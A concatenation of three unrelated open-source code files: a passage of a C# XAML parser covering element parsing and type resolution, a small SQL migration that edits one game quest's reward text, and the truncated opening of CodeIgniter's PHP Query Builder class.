create_namescope, ValidateTemplates = validate_templates, Owner = NativeDependencyObjectHelper.FromIntPtr (owner) }; object v = p.ParseString (xaml); return ObjectToValue (v); } public static Value CreateFromFile (string file, bool create_namescope, bool validate_templates) { XamlParser p = new XamlParser () { CreateNameScope = create_namescope, ValidateTemplates = validate_templates, }; object v = p.ParseFile (file); return ObjectToValue (v); } public unsafe static Value HydrateFromString (string xaml, Value *obj, bool create_namescope, bool validate_templates) { XamlParser p = new XamlParser () { CreateNameScope = create_namescope, ValidateTemplates = validate_templates, HydrateObject = Value.ToObject (null, obj), }; object v = p.ParseString (xaml); return ObjectToValue (v); } public static Value ObjectToValue (object value) { Value v = Value.FromObject (value); return v; } internal object LookupNamedItem (XamlElement target, string name) { object o; XamlElement lookup = target; while (lookup != null) { XamlObjectElement obj = lookup as XamlObjectElement; if (obj != null) { FrameworkElement fe = obj.Object as FrameworkElement; if (fe != null) { o = fe.Resources [name]; if (o != null) return o; } ResourceDictionary rd = obj.Object as ResourceDictionary; if (rd != null) { o = rd [name]; if (o != null) return o; } } lookup = lookup.Parent; } o = Context.LookupNamedItem (name); if (o != null) return o; o = Application.Current.Resources [name]; return o; } internal void RegisterKeyItem (XamlObjectElement element, XamlElement target, string key) { // IDictionary rd = CurrentDictionary (element); // if (rd == null) // throw ParseException ("Attempt to use x:Key outside of an IDictionary."); element.X_Key = key; } internal void RegisterNamedItem (XamlObjectElement element, string name) { if (Deployment.Current.MajorVersion < 4 && element.DependencyObject == null) { IDictionary rd = CurrentDictionary (element); if (rd != null && element.X_Key != null) { throw ParseException ("The name already exists in the tree."); } } if (element.X_Name != null) { throw ParseException ("Cannot specify both Name and x:Name attributes."); } element.X_Name = name; DependencyObject dob = element.DependencyObject; if (dob != null) dob.SetNameOnScope (name, NameScope); } private bool IsTemplate (XamlElement element) { XamlObjectElement obj = element as XamlObjectElement; if (obj == null) return false; return typeof (FrameworkTemplate).IsAssignableFrom (obj.Type); } private IDictionary CurrentDictionary (XamlElement element) { XamlObjectElement obj = null; if (element == null || element.Parent == null) return null; XamlElement walk = element.Parent; XamlPropertyElement prop = null; while (walk != null) { prop = walk as XamlPropertyElement; if (prop == null) { obj = walk as XamlObjectElement; IDictionary rd = obj.Object as IDictionary; if (rd != null) return rd; walk = walk.Parent; continue; } // // We are in a different property // if (!(typeof (IDictionary).IsAssignableFrom (prop.Type))) { walk = walk.Parent; continue; } break; } if (prop == null) return null; obj = prop.Parent as XamlObjectElement; if (obj == null) return null; FrameworkElement fe = obj.Object as FrameworkElement; if (fe != null) return fe.Resources; Application app = obj.Object as Application; if (app != null) return app.Resources; return null; } private void ParseElement () { Log ("ParseElement {0}", reader.Name); if (IsPropertyElement ()) { ParsePropertyElement (); return; } if (IsStaticResourceElement ()) { ParseStaticResourceElement (); return; } ParseObjectElement (); } private void ParseObjectElement () { Log ("\tParseObjectElement {0}", reader.Name); ValidateMixedContentForObject (); if (reader.ManagedType == null) reader.ManagedType = ResolveType (); if (reader.ManagedType == null) throw ParseException ("Unable to find the type {0}.", reader.LocalName); object o = InstantiateType (reader.ManagedType); if (o == null) throw ParseException ("Could not create object for element {0}.", reader.LocalName); Log ("\t\tCreating new object {0}", o); XamlObjectElement element = new XamlObjectElement (this, reader.LocalName, reader.ManagedType, o); if (IsBufferedTemplateElement (element)) { reader.Ignore = true; ParseTemplateElement (element); return; } if (typeof (System.Windows.FrameworkElement).IsAssignableFrom (reader.ManagedType)) { element.EndElement += delegate (object sender, EventArgs e) { FrameworkElement fwe = element.Object as FrameworkElement; fwe.SetImplicitStyles (); }; } SetResourceBase (element); SetElementTemplateScopes (element); OnElementBegin (element); } private void ParsePropertyElement () { Log ("\tParsePropertyElement {0} {1}", reader.Name, CurrentElement.Name); if (reader.ManagedType == null) reader.ManagedType = ResolveType (); if (reader.ManagedType == null) throw ParseException ("Unable to find the property {0}.", reader.LocalName); XamlPropertySetter setter = null; if (CurrentElement != null) { XamlObjectElement parent = CurrentElement as XamlObjectElement; if (parent == null) throw ParseException ("Property {0} does not have a parent.", reader.LocalName); setter = CurrentElement.LookupProperty (reader); if (setter == null) throw ParseException ("Property {0} was not found on type {1}.", reader.LocalName, CurrentElement.Name); } else throw ParseException ("A property element cannot be at the root of a document."); XamlPropertyElement element = new XamlPropertyElement (this, reader.LocalName, setter); OnElementBegin (element); } private void ParseTemplateElement (XamlObjectElement element) { Log ("\tParseTemplateElement {0}", reader.Name); OnElementBegin (element); Log ("111111 ParseTemplateElement {0}", element.Object); FrameworkTemplate template = (FrameworkTemplate) element.Object; unsafe { template.SetXamlBuffer (ParseTemplate, CreateXamlContext (template)); } } private static unsafe IntPtr ParseTemplate (Value *context_ptr, IntPtr resource_base, IntPtr surface, IntPtr binding_source, string xaml, ref MoonError error) { XamlContext context = Value.ToObject (typeof (XamlContext), context_ptr) as XamlContext; var parser = new XamlParser (context) { ResourceBase = UriHelper.FromNativeUri (resource_base), }; FrameworkElement fwe = null; var source = NativeDependencyObjectHelper.FromIntPtr (binding_source); if (source != null) { fwe = source as FrameworkElement; if (fwe == null) { error = new MoonError (parser.ParseException ("Only FrameworkElements can be used as TemplateBinding sources.")); return IntPtr.Zero; } } Log ("222222 ParseTemplateElement {0}", source); Log ("{0}", xaml); context.IsExpandingTemplate = true; context.TemplateOwner = source as DependencyObject; context.TemplateBindingSource = fwe; parser.HydrateObject = context.Template; INativeEventObjectWrapper dob = null; try { FrameworkTemplate template = parser.Parse (context.Node) as FrameworkTemplate; if (template != null) { dob = template.Content as INativeEventObjectWrapper; template.Content = null; } // No errors, but the template was just empty. if (dob == null) return IntPtr.Zero; } catch (Exception e) { error = new MoonError (e); return IntPtr.Zero; } finally { context.IsExpandingTemplate = false; context.TemplateOwner = null; context.TemplateBindingSource = null; } // XamlParser needs to ref its return value otherwise we can end up returning a an object to native // code with a refcount of '1' and it could then get GC'ed before we use it. Mono.NativeMethods.event_object_ref (dob.NativeHandle); return dob.NativeHandle; } private bool IsPropertyElement () { return reader.LocalName.IndexOf ('.') > 0; } private bool IsBufferedTemplateElement (XamlObjectElement element) { if (element == null) return false; if (!typeof (FrameworkTemplate).IsAssignableFrom (element.Type)) return false; // If we are parsing a template (In the ParseTemplate callback, // the top level template elementis not buffered because we are // trying to parse the contents of that template element if (IsTopElement && Context.IsExpandingTemplate) return false; return true; } private bool IsObjectElement () { return CurrentElement is XamlObjectElement; } private bool IsStaticResourceElement () { return reader.LocalName == "StaticResource" && (reader.NamespaceURI == XamlNode.XamlUri || reader.NamespaceURI == XamlNode.LegacyXamlUri || reader.NamespaceURI == XamlNode.PresentationUri); } private bool IsTextBlockElement (XamlObjectElement obj) { return (typeof (TextBlock).IsAssignableFrom (obj.Type)); } private void ParseEndElement () { Log ("\tParseEndElement"); OnElementEnd (); } private void ParseText () { Log ("\tParseText"); string value = HandleWhiteSpace (reader.Value); XamlObjectElement obj = CurrentElement as XamlObjectElement; if (obj != null) { if (IsTextBlockElement (obj)) { ParseTextBlockText (obj, value); return; } if (typeof (Paragraph).IsAssignableFrom (obj.Type)) { ParseParagraphText (obj, value); return; } if (typeof (Span).IsAssignableFrom (obj.Type)) { ParseSpanText (obj, value); return; } XamlReflectionPropertySetter content = obj.FindContentProperty (); if (content == null) { if (IsLegalCorlibType (obj.Type)) { MutableObject mutable = (MutableObject) obj.Object; mutable.Object = CorlibTypeValueFromString (obj.Type, value); return; } if (IsLegalStructType (obj.Type)) { MutableObject mutable = (MutableObject) obj.Object; mutable.Object = KnownStructValueFromString (obj, value); return; } if (IsSpecialCasedType (obj.Type)) { MutableObject mutable = (MutableObject) obj.Object; mutable.Object = SpecialCasedTypeValueFromString (obj, value); return; } if (IsTypeConvertedType (obj.Type)) { var converter = Helper.GetConverterFor (obj.Type); if (converter.CanConvertFrom (typeof (string))) { MutableObject mutable = (MutableObject) obj.Object; mutable.Object = converter.ConvertFrom (null, Helper.DefaultCulture, value); return; } } throw ParseException ("Element {0} does not support text properties.", CurrentElement.Name); } object converted = content.ConvertTextValue (value); content.SetValue (converted); return; } XamlPropertyElement prop = CurrentElement as XamlPropertyElement; if (prop != null) { object converted = prop.Setter.ConvertTextValue (value); prop.Setter.SetValue (converted); } } private void ParseTextBlockText (XamlObjectElement block, string value) { Run run = ParseRunText (value); TextBlock textblock = block.Object as TextBlock; textblock.Inlines.Add (run); } private void ParseParagraphText (XamlObjectElement obj, string value) { Paragraph para = (Paragraph) obj.Object; Run run = ParseRunText (value); para.Inlines.Add (run); } private void ParseSpanText (XamlObjectElement obj, string value) { Span span = (Span) obj.Object; Run run = ParseRunText (value); span.Inlines.Add (run); } private Run ParseRunText (string value) { Run run = new Run (); run.Text = value; return run; } private void ParseWhitespace () { } private void ParseSignificantWhitespace () { } private void ParseStaticResourceElement () { Log ("\tParseStaticResourceElement {0}", reader.Name); string key = reader.GetAttribute ("ResourceKey"); if (key == null) throw ParseException ("No ResourceKey found on StaticResource element."); object obj = LookupNamedItem (CurrentElement, key); XamlObjectElement element = new XamlObjectElement (this, reader.LocalName, obj.GetType (), obj); OnElementBegin (element); } private void ParseAttribute (XamlObjectElement element, XamlAttribute ai) { Log ("\t\t\tParseAttribute {0}", ai.Name); if (ai.IsNsXaml) { ParseXAttribute (element, ai); return; } if (ai.IsXmlDirective) { ParseXmlDirective (element, ai); return; } XamlPropertySetter prop = element.LookupProperty (ai); if (prop == null) throw ParseException ("The property {0} was not found on element {1}.", ai.LocalName, element.Name); object value = ParseAttributeValue (element, prop, ai); Log ("\t\t\t\tSetting Property {0} {1} {2} {3}", prop, element.Object, ai, value); prop.SetValue (element, value); } private void ParseXAttribute (XamlObjectElement element, XamlAttribute ai) { switch (ai.LocalName) { case "Key": RegisterKeyItem (element, element.Parent, ai.Value); return; case "Name": RegisterNamedItem (element, ai.Value); return; case "Class": // The class attribute is handled when we initialize the element return; case "ClassModifier": case "FieldModifier": // There are no docs on whether these change anything // internally on silverlight. // But I think they are only a tooling issue. return; case "Uid": // This attribute is just ignored, but allowed. return; default: throw ParseException ("Unknown x: attribute ({0}).", ai.LocalName); } } private void ParseXmlDirective (XamlElement element, XamlAttribute ai) { if (ai.LocalName == "space") { // Do nothing XmlReader covers this for us } } private object ParseAttributeValue (XamlObjectElement element, XamlPropertySetter property, XamlAttribute ai) { object value = null; if (IsMarkupExpression (ai.Value)) value = ParseAttributeMarkup (element, property, ai); else { try { value = property.ConvertTextValue (ai.Value); } catch (Exception ex) { throw ParseException ("Could not convert attribute value '{0}' on element {1} for property {2}.", ai.Value, element.Name, property.Name); } } return value; } private object ParseAttributeMarkup (XamlObjectElement element, XamlPropertySetter property, XamlAttribute ai) { MarkupExpressionParser parser = new SL4MarkupExpressionParser (element.Object, property.Name, this, element); string expression = ai.Value; object o = null; try { o = parser.ParseExpression (ref expression); } catch (Exception e) { throw ParseException ("Could not convert attribute value '{0}' on element {1} for property {2}.", ai.Value, element.Name, property.Name); } if (o == null && !MarkupExpressionParser.IsExplicitNull (expression)) throw ParseException ("Unable to convert attribute value: '{0}'.", ai.Value); return property.ConvertValue (property.Type, o); } private bool IsMarkupExpression (string str) { return str.Length == 0 ? false : str [0] == '{'; } private bool IsValidXmlSpaceValue (string val) { return val == "preserve" || val == "default"; } private void OnElementBegin (XamlElement element) { Log ("\t\tOnElementBegin {0}", element.Name); InitializeElement (element); element.RaiseElementBegin (); if (top_element == null) InitTopElement (element); if (current_element is XamlObjectElement) { if (element is XamlObjectElement) current_element.ContentSet = true; else current_element.PropertiesSet = true; } PushCurrentElement (element); } private void OnElementEnd () { Log ("\t\tOnElementEnd {0}", CurrentElement.Name); CurrentElement.RaiseElementEnd (); EndInitializeElement (CurrentElement); XamlElement parent = CurrentElement.Parent; if (parent != null) ParentElement (CurrentElement, parent); PopCurrentElement (); } private void PushCurrentElement (XamlElement element) { Log ("\t\tPushCurrentElement old:{0} new:{1}", CurrentElement != null ? CurrentElement.Name : "none", element != null ? element.Name : "none"); if (element == null) { current_element = null; return; } if (current_element != null) { current_element.Children.Add (element); element.Parent = current_element; } if (top_element == null) top_element = element; current_element = element; } private void PopCurrentElement () { Log ("\t\tPopCurrentElement old:{0} new:{1}", current_element != null ? current_element.Name : "none", current_element.Parent != null ? current_element.Parent.Name : "none"); current_element = current_element.Parent; } private void InitTopElement (XamlElement element) { XamlObjectElement obj = element as XamlObjectElement; if (obj != null) { if (typeof (DependencyObject).IsAssignableFrom (obj.Type)) { object target = obj.Object; if (target is MutableObject) target = ((MutableObject)target).Object; DependencyObject dob = (DependencyObject) target; NameScope.SetNameScope (dob, NameScope); } } } private void ParentElement (XamlElement element, XamlElement parent) { Log ("AddChild: {0} {1}", parent.Name, element.Name); parent.AddChild (element); } private void ParentPropertyElement (XamlElement element, XamlPropertyElement prop) { //XamlObjectElement obj = (XamlObjectElement) element; } private void InitializeElement (XamlElement element) { XamlObjectElement obj = element as XamlObjectElement; if (obj == null) return; ISupportInitialize init = obj.Object as ISupportInitialize; if (init == null) return; try { init.BeginInit (); } catch (Exception e) { Console.WriteLine ("Exception in initializer"); Console.WriteLine (e); } } private void EndInitializeElement (XamlElement element) { XamlObjectElement obj = element as XamlObjectElement; if (obj == null) return; ISupportInitialize init = obj.Object as ISupportInitialize; if (init == null) return; try { init.EndInit (); } catch (Exception e) { Console.WriteLine ("Exception in initializer."); Console.WriteLine (e); } } private void SetResourceBase (XamlObjectElement element) { Log ("\t\tSetResourceBase {0}", element.Name); if (ResourceBase == null) return; DependencyObject dob = element.DependencyObject; if (dob == null) return; dob.ResourceBase = ResourceBase; } private void SetElementTemplateScopes (XamlObjectElement element) { Log ("\t\tSetElementTemplateScopes {0}", element.Name); // This whole thing is basically copied from xaml.cpp AddCreatedItem object is_template = null; DependencyObject el_dob = element.Object as DependencyObject; if (el_dob == null) return; // When instantiating a template, some elements are created which are not explicitly // mentioned in the xaml. Therefore we need to keep walking up the tree until we find // the last element which we set a value for Control::IsTemplateItem and propagate // it from there. XamlElement instance = CurrentElement; while (instance != null) { XamlObjectElement oe = instance as XamlObjectElement; if (oe == null) { instance = instance.Parent; continue; } DependencyObject dob = oe.Object as DependencyObject; if (dob == null) { instance = instance.Parent; continue; } is_template = dob.ReadLocalValue (Control.IsTemplateItemProperty); if (is_template == null || is_template == DependencyProperty.UnsetValue) { instance = instance.Parent; continue; } el_dob.SetValue (Control.IsTemplateItemProperty, dob.GetValue (Control.IsTemplateItemProperty)); if (dob.TemplateOwner != null) el_dob.TemplateOwner = dob.TemplateOwner; break; } if (instance == null) { el_dob.SetValue (Control.IsTemplateItemProperty, Context.IsExpandingTemplate); el_dob.TemplateOwner = Context.TemplateOwner; } is_template = el_dob.ReadLocalValue (Control.IsTemplateItemProperty); if (is_template != null && is_template != DependencyProperty.UnsetValue && ((bool) is_template)) { UserControl uc = el_dob as UserControl; if (uc != null) { // I can't come up with a test to verify this fix. However, it does // fix a crasher in olympics when trying to play a new video from // the recommendations list after the curreont video finishes NameScope ns = NameScope.GetNameScope (uc); if (uc.Content != null) NameScope.SetNameScope (uc.Content, ns); if (uc.Resources != null) NameScope.SetNameScope (uc.Resources, ns); } NameScope.SetNameScope (el_dob, NameScope); } } public Type ResolveType (string str) { int colon = str.IndexOf (':'); string xmlns = reader.DefaultXmlns; string name = str; if (colon > 0) { string local = str.Substring (0, colon); name = str.Substring (++colon, str.Length - colon); xmlns = reader.ResolvePrefix (local); if (xmlns == null) throw ParseException ("Could not find namespace for type {0} ({1}, {2}).", str, name, local); } return ResolveType (xmlns, name); } public Type ResolveType () { if (IsTopElement) { string user_class = ResolveUserClass (); if (user_class != null) { Type t = LoadType (null, null, user_class); if (t == null) throw ParseException ("Unable to load type '{0}'.", user_class); return t; } } return ResolveType (currentNode.NamespaceURI, currentNode.LocalName); } public Type ResolveType (string xmlns, string full_name) { Log ("\t\tResolveType xmlns:{0} full_name:{1}", xmlns, full_name); Type t; var dictKey = new XmlNsKey (xmlns, full_name); if (Context.XmlnsCachedTypes.TryGetValue (dictKey, out t)) return t; string ns = null; string asm_name = null; Assembly assembly = null; string name = full_name; int dot = name.IndexOf ('.'); // We resolve attached property types with this function too // so make sure that we trim off the property part of the name if (dot > 0) { name = name.Substring (0, dot); full_name = name; } if (String.IsNullOrEmpty (xmlns)) xmlns = reader.DefaultXmlns; ns = ResolveClrNamespace (xmlns); asm_name = ResolveAssemblyName (xmlns); if (ns != null) full_name = String.Concat (ns, ".", name); // // If no assembly is specified we pass in null and LoadType will search for the type // if (asm_name != null) assembly = LoadAssembly (asm_name); t = LoadType (assembly, xmlns, full_name); if (!Context.XmlnsCachedTypes.ContainsKey (dictKey)) Context.XmlnsCachedTypes.Add (dictKey, t); return t; } private static string ResolveClrNamespace (string xmlns) { if (String.IsNullOrEmpty (xmlns)) return null; int start = xmlns.IndexOf ("clr-namespace:"); if (start != 0) return null; start += "clr-namespace:".Length; int end = xmlns.IndexOf (';', start); if (end == -1) end = xmlns.Length; return xmlns.Substring (start, end - start); } private static string ResolveAssemblyName (string xmlns) { if (String.IsNullOrEmpty (xmlns)) return null; int start = xmlns.IndexOf ("assembly="); if (start < 0) return null; start += "assembly=".Length; int end = xmlns.IndexOf (';', start); if (end == -1) end = xmlns.Length; return xmlns.Substring (start, end - start); } private string ResolveUserClass () { if (currentNode is XamlAttribute) return null; return reader.Class; } private Assembly DefaultAssembly () { return Deployment.Current.EntryAssembly; } private Assembly LoadAssembly (string name) { if (name == "mscorlib") return typeof (object).Assembly; return Application.GetAssembly (name); } private bool IsValidType (Type t) { bool res = (t != null && t.IsPublic); if (!res && t != null && !t.IsPublic) { if (typeof (DependencyObject).Assembly != t.Assembly) return true; if (typeof (DependencyObject).Assembly == t.Assembly && IsValidInternalType (t)) return true; } return res; } private bool IsValidInternalType (Type t) { if (t == typeof (StaticResource)) return true; return false; } private Type LoadTypeFromAssembly (Assembly assembly, string name) { Type t = assembly.GetType (name); if (!IsValidType (t)) return null; return t; } private Type LoadTypeFromXmlNs (string xmlns, string name) { XmlNsKey key = new XmlNsKey (xmlns, name); Type t; if (Context.XmlnsCachedTypes.TryGetValue (key, out t)) return t; t = FindType (xmlns, name); if (!IsValidType (t)) t = null; Context.XmlnsCachedTypes.Add (key, t); return t; } public Type LoadType (Assembly assembly, string xmlns, string name) { if (assembly != null) return LoadTypeFromAssembly (assembly, name); else return LoadTypeFromXmlNs (xmlns, name); } private Type FindType (string xmlns, string name) { Type t = FindDefaultType (xmlns, name); if (t != null) return t; if (!name.Contains ('.')) t = FindPartialType (xmlns, name); if (t == null) { var col = from a in Deployment.Current.Assemblies where (t = a.GetType (name)) != null select t; if (col.Count () > 0) { t = col.First (); if (IsValidType (t)) return t; } } return t; } private Type FindDefaultType (string xmlns, string name) { Assembly assembly = typeof (DependencyObject).Assembly; Type t = LoadPartialTypeFromAssembly (xmlns, name, assembly); if (IsValidType (t)) return t; return null; } private Type FindPartialType (string xmlns, string name) { if (Deployment.Current.Assemblies == null) return null; foreach (Assembly assembly in Deployment.Current.Assemblies) { Type t = LoadPartialTypeFromAssembly (xmlns, name, assembly); if (IsValidType (t)) return t; } return null; } private Type LoadPartialTypeFromAssembly (string xmlns, string name, Assembly asm) { XmlnsDefinitionAttribute [] xmlnsdefs = XmlnsDefsForAssembly (xmlns, asm); foreach (XmlnsDefinitionAttribute def in xmlnsdefs) { string full_name = String.Concat (def.ClrNamespace, ".", name); Type t = asm.GetType (full_name); if (IsValidType (t)) return t; } return null; } private XmlnsDefinitionAttribute [] XmlnsDefsForAssembly (string xmlns, Assembly asm) { // TODO: We can cache these easily enough XmlnsDefinitionAttribute [] defs = (XmlnsDefinitionAttribute []) asm.GetCustomAttributes (typeof (XmlnsDefinitionAttribute), false); var res = from x in defs where x.XmlNamespace == xmlns select x; return res.ToArray (); } private object InstantiateType (Type type) { object o; if (IsTopElement && HydrateObject != null) { if (!type.IsAssignableFrom (HydrateObject.GetType ())) throw ParseException ("Invalid top-level element found {0}, expecting {1}", type, HydrateObject.GetType ()); return HydrateObject; } // Returns null if the type isn't a collection type. o = InstantiateCollectionType (type); if (o == null && HasDefaultConstructor (type)) o = Activator.CreateInstance (type); if (o == null && IsSpecialInternalType (type)) { o = Activator.CreateInstance (type, BindingFlags.CreateInstance | BindingFlags.NonPublic | BindingFlags.Instance | BindingFlags.OptionalParamBinding, null, new object[] {}, null); } if (o == null && IsLegalCorlibType (type)) o = DefaultValueForCorlibType (type); if (o == null && IsLegalStructType (type)) o = DefaultValueForStructType (type); if (o == null && IsSpecialCasedType (type)) o = DefaultValueForSpecialCasedType (type); // If an object does not have a content property, we can use // a class level type converter to generate an object of this type if (!(o is MutableObject) && IsTypeConvertedType (type)) o = new MutableObject (o); return o; } private static bool HasDefaultConstructor (Type t) { ConstructorInfo [] ctors = t.GetConstructors (); var def = ctors.Where (c => c.GetParameters ().Length == 0).FirstOrDefault (); return def != null; } private static bool IsLegalCorlibType (Type t) { bool res = false; if (t == typeof (string)) res = true; else if (t == typeof (int)) res = true; else if (t == typeof (double)) res = true; else if (t == typeof (bool)) res = true; return res; } private static object DefaultValueForCorlibType (Type t) { object res = false; if (t == typeof (string)) res = String.Empty; else if (t == typeof (int)) res = 0; else if (t == typeof (double)) res = 0.0; else if (t == typeof (bool)) res = false; if (res != null) res = new MutableObject (res); return res; } private object CorlibTypeValueFromString (Type dest, string value) { if (dest == typeof (string)) return value; else if (dest == typeof (int)) { int res; if (value.Length == 0) return 0; var sub = value.Trim(); for (int i = 0; i < sub.Length; i++) { if (!Char.IsDigit (sub, i) && i > 0) { sub = sub.Substring (0, i--); } } if (!Int32.TryParse (sub, CORLIB_INTEGER_STYLES, CultureInfo.InvariantCulture, out res)) { throw ParseException ("Invalid int value {0}.", sub); } return (int) res; } else if (dest == typeof (double)) { double res; if (value.Length == 0) return 0.0; if (!Double.TryParse (value, CORLIB_DOUBLE_STYLES, CultureInfo.InvariantCulture, out res)) throw ParseException ("Invalid double value {0}.", value); return res; } else if (dest == typeof (bool)) { bool res; if (value.Length == 0) return false; if (!Boolean.TryParse (value, out res)) { double d; if (!Double.TryParse (value, CORLIB_DOUBLE_STYLES, CultureInfo.InvariantCulture, out d)) throw ParseException ("Invalid bool value {0}.", value); res = d != 0.0; } return res; } throw ParseException ("Invalid corlib type used."); } private static bool IsLegalStructType (Type t) { if (t == typeof (char)) return false; if (t == typeof (byte)) return false; if (t == typeof (DateTime)) return false; if (t == typeof (short)) return false; if (t == typeof (long)) return false; if (t == typeof (Single)) return false; if (t == typeof (Decimal)) return false; return t.IsValueType; } private static object DefaultValueForStructType (Type t) { object o = Activator.CreateInstance (t); return new MutableObject (o); } private object KnownStructValueFromString (XamlObjectElement element, string value) { return XamlTypeConverter.ConvertObject (this, element, element.Type, null, null, value); } private static bool IsSpecialCasedType (Type t) { // // Sadly i think this list will grow. // if (t == typeof (FontFamily)) return true; if (t == typeof (System.Windows.Input.Cursor)) return true; return false; } private bool IsSpecialInternalType (Type t) { if (t == typeof (Section) && Owner is RichTextBox) return true; return false; } private static object DefaultValueForSpecialCasedType (Type t) { return new MutableObject (null); } private static bool IsTypeConvertedType (Type t) { return Helper.GetConverterFor (t) != null; } private object SpecialCasedTypeValueFromString (XamlObjectElement element, string value) { return XamlTypeConverter.ConvertObject (this, element, element.Type, null, element.Name, value); } private bool IsCollectionType (Type type) { return typeof (IList).IsAssignableFrom (type) || typeof (IDictionary).IsAssignableFrom (type); } private object InstantiateCollectionType (Type t) { if (!(typeof (IList).IsAssignableFrom (t) || typeof (IDictionary).IsAssignableFrom (t))) return null; XamlReflectionPropertySetter prop = null; // CurrentElement hasn't been set yet, so we are getting our type's parent here. XamlPropertyElement pe = CurrentElement as XamlPropertyElement; XamlObjectElement oe = CurrentElement as XamlObjectElement; if (pe != null) prop = pe.Setter as XamlReflectionPropertySetter; if (pe == null && oe != null) prop = oe.FindContentProperty () as XamlReflectionPropertySetter; if (prop == null) return null; object res = prop.GetValue (); if (res != null && !t.IsAssignableFrom (res.GetType ())) return null; return res; } internal XamlParseException ParseException (string message, params object [] p) { int pos = -1; int line = -1; IXmlLineInfo linfo = reader as IXmlLineInfo; if (linfo != null) { line = linfo.LineNumber; pos = linfo.LinePosition; } return new XamlParseException (line, pos, String.Format (message, p)); } private XamlContext CreateXamlContext (FrameworkTemplate template) { return new XamlContext (Context, TopElement, CreateResourcesList (), template, reader); } private List<DependencyObject> CreateResourcesList () { var list = new List<DependencyObject> (); XamlElement walk = CurrentElement; while (walk != null) { XamlObjectElement obj = walk as XamlObjectElement; if (obj != null) { ResourceDictionary rd = obj.Object as ResourceDictionary; if (rd != null) list.Add (rd); FrameworkElement fwe = obj.Object as FrameworkElement; if (fwe != null) list.Add (fwe); } walk = walk.Parent; } list.Reverse (); return list; } private string HandleWhiteSpace (string str) { if (reader.XmlSpace == XmlSpace.Preserve) return str; if (str.Length == 0) return str; int i = 0; while (i < str.Length && Char.IsWhiteSpace (str [i])) i++; StringBuilder builder = new StringBuilder (str.Length); for ( ; i < str.Length; i++) { if (Char.IsWhiteSpace (str [i])) { while (i < str.Length - 1 && Char.IsWhiteSpace (str [i + 1])) { i++; } if (i == str.Length - 1) break; builder.Append (' '); continue; } builder.Append (str [i]); } return builder.ToString (); } public static DependencyProperty LookupDependencyProperty (Kind kind, string name) { DependencyProperty dp; if (!DependencyProperty.TryLookup (kind, name, out dp)) { var type = Deployment.Current.Types.KindToType (kind); var field = type.GetField (name + "Property", FIELD_BINDING_FLAGS); if (field != null && typeof (DependencyProperty).IsAssignableFrom (field.FieldType)) dp = (DependencyProperty) field.GetValue (null); else dp = null; } return dp; } void ValidateMixedContentForObject () { if (current_element == null) return; if (current_element.ContentSet || current_element.PropertiesSet) { XamlElement sibling = current_element.Children[current_element.Children.Count - 1]; if (current_element.ContentSet && sibling is XamlPropertyElement) throw ParseException ("Mixed content and property element are not allowed: {0}.", reader.LocalName); } } } }
{ "pile_set_name": "Github" }
-- DB update 2017_08_19_07 -> 2017_08_19_08 DROP PROCEDURE IF EXISTS `updateDb`; DELIMITER // CREATE PROCEDURE updateDb () proc:BEGIN DECLARE OK VARCHAR(100) DEFAULT 'FALSE'; SELECT COUNT(*) INTO @COLEXISTS FROM information_schema.COLUMNS WHERE TABLE_SCHEMA = DATABASE() AND TABLE_NAME = 'version_db_world' AND COLUMN_NAME = '2017_08_19_07'; IF @COLEXISTS = 0 THEN LEAVE proc; END IF; START TRANSACTION; ALTER TABLE version_db_world CHANGE COLUMN 2017_08_19_07 2017_08_19_08 bit; SELECT sql_rev INTO OK FROM version_db_world WHERE sql_rev = '1493343523138941000'; IF OK <> 'FALSE' THEN LEAVE proc; END IF; -- -- START UPDATING QUERIES -- INSERT INTO version_db_world (`sql_rev`) VALUES ('1493343523138941000'); -- replace "Mac" with actual player name ($N) in the reward text UPDATE `quest_template` SET `OfferRewardText`= "Great Spirit Totem! This is dire news indeed. I must begin to plan for whatever may come.$b$b$N, as promised, here is your reward for your brave service.$b$b" WHERE `ID`= 5064; -- -- -- END UPDATING QUERIES -- COMMIT; END // DELIMITER ; CALL updateDb(); DROP PROCEDURE IF EXISTS `updateDb`;
{ "pile_set_name": "Github" }
<?php /** * CodeIgniter * * An open source application development framework for PHP * * This content is released under the MIT License (MIT) * * Copyright (c) 2014 - 2016, British Columbia Institute of Technology * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. * * @package CodeIgniter * @author EllisLab Dev Team * @copyright Copyright (c) 2008 - 2014, EllisLab, Inc. (https://ellislab.com/) * @copyright Copyright (c) 2014 - 2016, British Columbia Institute of Technology (http://bcit.ca/) * @license http://opensource.org/licenses/MIT MIT License * @link https://codeigniter.com * @since Version 1.0.0 * @filesource */ defined('BASEPATH') OR exit('No direct script access allowed'); /** * Query Builder Class * * This is the platform-independent base Query Builder implementation class. * * @package CodeIgniter * @subpackage Drivers * @category Database * @author EllisLab Dev Team * @link https://codeigniter.com/user_guide/database/ */ abstract class CI_DB_query_builder extends CI_DB_driver { /** * Return DELETE SQL flag * * @var bool */ protected $return_delete_sql = FALSE; /** * Reset DELETE data flag * * @var bool */ protected $reset_delete_data = FALSE; /** * QB SELECT data * * @var array */ protected $qb_select = array(); /** * QB DISTINCT flag * * @var bool */ protected $qb_distinct = FALSE; /** * QB FROM data * * @var array */ protected $qb_from = array(); /** * QB JOIN data * * @var array */ protected $qb_join = array(); /** * QB WHERE data * * @var array */ protected $qb_where = array(); /** * QB GROUP BY data * * @var array */ protected $qb_groupby = array(); /** * QB HAVING data * * @var array */ protected $qb_having = array(); /** * QB keys * * @var array */ protected $qb_keys = array(); /** * QB LIMIT data * * @var int */ protected $qb_limit = FALSE; /** * QB OFFSET data * * @var int */ protected $qb_offset = FALSE; /** * QB ORDER BY data * * @var array */ protected $qb_orderby = array(); /** * QB data sets * * @var array */ protected $qb_set = array(); /** * QB aliased tables 